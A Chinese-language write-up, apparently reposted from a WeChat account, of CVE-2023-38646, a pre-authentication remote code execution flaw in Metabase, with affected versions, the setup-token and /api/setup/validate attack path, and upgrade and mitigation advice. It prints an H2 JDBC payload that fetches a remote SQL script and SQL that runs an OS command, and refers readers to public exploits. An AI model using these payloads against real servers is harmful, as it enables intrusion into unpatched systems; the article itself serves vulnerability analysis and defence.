Metabase是一个很流行商业化的数据可视化软件包。上周,被报出有漏洞,Metabase的0.46.6.1和Metabase Enterprise1.46.6.1间存在一个漏洞,允许攻击者在服务器上执行任意命令,在服务器的特权级别.攻击不需要身份验证。此漏洞被指定为CVE-2023-38646,范围如下:
-
Metabase Enterprise 1.46 < 1.46.6.1
-
Metabase Enterprise 1.45 < 1.45.4.1
-
Metabase Enterprise 1.44 < 1.44.7.1
-
Metabase Enterprise 1.43 < 1.43.7.2
-
Metabase open source 0.46 < 0.46.6.1
-
Metabase open source 0.45 < v0.45.4.1
-
Metabase open source 0.44 < 0.44.7.1
-
Metabase open source 0.43 < 0.43.7.2
在本文中,我们分析了该漏洞,并展示了如何复现和安全建议。我们发现该漏洞是由pre-auth API的/api/setup/validate中的JDBC连接问题引起的。通过一个对这个接口的请求,我们成功地复现了远程代码执行漏洞(RCE)。我们建议大家尽快将Metabase升级到最新版本。如果不能立即升级,我们建议阻止对/API/setup接口的请求。
漏洞复现
我们分析了Metabase版本0.46.6。由于该漏洞允许Pre-auth RCE,因此我们将重点放在Metabase中未经身份验证的接口上。
在查看Metabase的Clojure源代码时,我们发现主应用程序路由定义在src/metabase/server/routes. clj中。
主应用程序路由在src/metabase/server/routes.cl中定义
在为数不多的未经身份验证的流程中,我们的注意力集中在/API/setup接口上。此接口负责在初始化应用程序设置期间创建新用户并设置数据库。值得注意的是,POST请求只能向该接口发一次,因为会进行检查以防止后续调用。
但是,存在另一个接口/API/setup/validate,用于在应用程序设置过程中检查数据库连接。此接口需要调用有效的设置令牌,此设置令牌是在Metabase启动时生成的,可以通过调用pre-auth API接口 /api/session/properties来获取。
/API/session/properties的响应包括调用/api/setup/validate所需的设置令牌
在到达/API/setup/validate接口时,攻击者可以使用JDBC强制Metabase连接到任意数据库服务器,这暴露了相当大的攻击面。
mem;test;INIT=RUNSCRIPT FROM 'http://127.0.0.1:12345/poc.sql'
其中poc.sql如下所示:
CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);}';CALL EXEC ('open -a Calculator.app')
但是,我们不能直接使用H2作为引擎运行代码,因为Metabase实际上拉黑了这个攻击向量,并且会从我们的连接字符串中删除INIT部分。
Metabase从H2JDBC连接字符串中删除INIT脚本
我们找到了一个使用Postgres作为引擎的解决方案,还是利用/api/setup/validate,POC如下:
CVE-2023-38646的PoC
getshell部分可以找github,有很多各语言的exp。
安全建议
为了保护你的Metabase实例免受CVE-2023-38646的潜在利用,我们建议:
-
尽早将Metabase升级到最新版本
-
如果立即升级不可行,考虑:
-
阻止对/API/setup接口的请求
-
将元数据库实例与生产网络隔离
-
监视Metabase实例日志中的任何与/API/setup接口相关的请求
-
对Metabase实例进行手动取证溯源分析,以检测任何未经授权的访问或入侵迹象
原文始发于微信公众号(军机故阁):CVE-2023-38646: Metabase Pre-auth RCE
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论